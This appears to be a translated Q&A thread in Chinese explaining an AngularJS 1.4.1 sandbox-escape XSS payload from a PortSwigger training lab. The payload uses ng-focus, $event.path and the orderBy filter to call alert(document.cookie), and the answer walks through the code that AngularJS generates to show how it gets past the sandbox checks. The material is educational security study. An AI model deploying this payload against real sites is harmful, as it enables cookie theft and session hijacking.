javascript - 请解释这个 Angular JS 脚本:
问题描述
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.1/angular.min.js"></script>
<script>
location='https://www.example.com/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
Angular JS 版本:1.4.1(仍然使用Angular JS Sandbox)
任何人都可以在搜索部分之后解释位置变量中的脚本吗?具体来说,函数内部发生了orderBy
什么?-'(z=alert)(docuement.cookie)'#x
如何调用警报功能?等等
我在解决这个实验室时遇到了它:https ://portswigger.net/web-security/cross-site-scripting/contexts/angularjs-sandbox/lab-angular-sandbox-escape-and-csp
如果我的问题需要进一步澄清,请告诉我。您甚至可以将我指向讨论此问题的 angularJs 文档中的特定位置。
解决方案
首先,#x
不是 orderBy 表达式的一部分。它是 url 片段。这会导致浏览器关注输入元素,从而触发 ng-focus 事件。
只是为了让我们在同一页面上。这是注入的代码:<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>
漏洞利用的高级视图由您链接的页面上的解决方案提供:
该漏洞利用 AngularJS 中的 ng-focus 事件来创建绕过 CSP 的焦点事件。它还使用 $event,这是一个引用事件对象的 AngularJS 变量。path 属性特定于 Chrome,包含触发事件的元素数组。数组中的最后一个元素包含窗口对象。
通常,| 在 JavaScript 中是按位或操作,但在 AngularJS 中它表示过滤操作,在本例中为 orderBy 过滤器。冒号表示正在发送到过滤器的参数。在参数中,我们没有直接调用警报函数,而是将其分配给变量 z。只有当 orderBy 操作到达 $event.path 数组中的窗口对象时,才会调用该函数。这意味着它可以在窗口范围内调用,而无需显式引用窗口对象,有效地绕过了 AngularJS 的窗口检查。
然而,这并没有解释警报函数是如何被实际调用的。解决方案隐藏在 AngularJS 源代码的深处。AngularJS 使用它的$parse
-service 来解析属性中给它的表达式。如上所述,表达式是使用 orderBy-filter 的过滤器表达式。orderBy-filter 实现了一个函数,它接受一个数组 ( $event.path
) 和一个排序表达式 ( '(z=alert)(document.cookie)'
) 作为参数并返回有序数组。
orderBy-filter 对排序表达式有什么作用?排序表达式针对数组的元素进行评估,以提取应该用于对元素进行排序的键。(文档中有很多示例:https ://code.angularjs.org/1.4.1/docs/api/ng/filter/orderBy )。orderBy-filter 如何做到这一点?它将排序表达式传递给$parse
函数以将其转换为 JS 函数。生成的函数如下所示:
var fn = function(s, l, a, i) {
var v0, v1, v2, v3, v4, v5 = l && ('z'in l), v6 = l && ('alert'in l), v7, v8, v9 = l && ('document'in l);
v4 = v5 ? l : s;
if (!(v5)) {
if (s) {
v3 = s.z;
}
} else {
v3 = l.z;
}
if (v4 != null) {
if (!(v6)) {
if (s) {
v2 = s.alert;
}
} else {
v2 = l.alert;
}
ensureSafeObject(v4.z, text);
v1 = v4.z = v2;
if (v1 != null) {
ensureSafeFunction(v1, text);
if (!(v9)) {
if (s) {
v8 = s.document;
}
} else {
v8 = l.document;
}
if (v8 != null) {
v7 = v8.cookie;
}
v0 = ensureSafeObject(v1(ensureSafeObject(v7, text)), text);
}
}
return v0;
};
为 中的每个元素调用此函数$event.path
。它非常难看,所以我试着把它清理一下,让它更容易理解:
var fn = function(element, l, a, i) {
// element is the element from $event.path all other parameters are undefined
// these are all falsy
const hasLPropertyZ = l && ('z'in l);
const hasLPropertyAlert = l && ('alert'in l);
const hasLPropertyDocument = l && ('document'in l);
const elementOrL = hasLPropertyZ ? l : element;
// this block is useless
let elementZ;
if (!(hasLPropertyZ)) {
if (element) {
elementZ = element.z;
}
} else {
elementZ = l.z;
}
// ----------------------
let returnValue;
if (elementOrL != null) {
// here begins the real action. We are reading the alert property from our element.
let elementAlert;
if (!(hasLPropertyAlert)) {
if (element) {
elementAlert = element.alert;
}
} else {
elementAlert = l.alert;
}
ensureSafeObject(elementOrL.z, text);
// and assigning it to property z of our element
// this is the (z=alert) part of the expression
const alertFunction = elementOrL.z = elementAlert;
// if the alertFunction is null (on all elements except the window element) we don't do anything.
if (alertFunction != null) {
// one would think that we would get caught here, but this function only checks for call, apply, bind and the function constructor
ensureSafeFunction(alertFunction, text);
// here we are reading window.document
let theDocument;
if (!(hasLPropertyDocument)) {
if (element) {
theDocument = element.document;
}
} else {
theDocument = l.document;
}
// then we read document.cookie
let theCookie;
if (theDocument != null) {
theCookie = theDocument.cookie;
}
// executing alert
returnValue = ensureSafeObject(alertFunction(ensureSafeObject(theCookie, text)), text);
}
}
return returnValue;
};
return fn;
如您所见,该函数实质上实现了以下代码:
function(element) {
const alertFunction = element.alert;
element.z = alertFunction;
alertFunction(element.document.cookie);
}
我希望这有帮助。如果我能澄清一些事情,请告诉我。
推荐阅读
- arrays - c中的局部变量和动态内存分配
- flutter - 我怎么能像这个小部件一样,当数据增长时,最后两项会自动下降
- c - 使用整数与牛顿求平方根
- reactjs - 更改 MUI v5 的所有导入语句
- flutter - 函数中的零安全问题
- python-sphinx - 编辑 Sphinx Alabaster jinja 模板
- javascript - 渲染新的 html 后,Javascript 库无法正确加载
- javascript - 使用 jest-next-dynamic 测试动态导入
- django - gcloud 构建 Django 网站的提交导致错误“没有 storage.objects.get 访问”
- c# - 在 C# 中制作一个 SAPI DLL,我有一个启动语音的函数,但我需要一个函数来检查状态。我怎么做?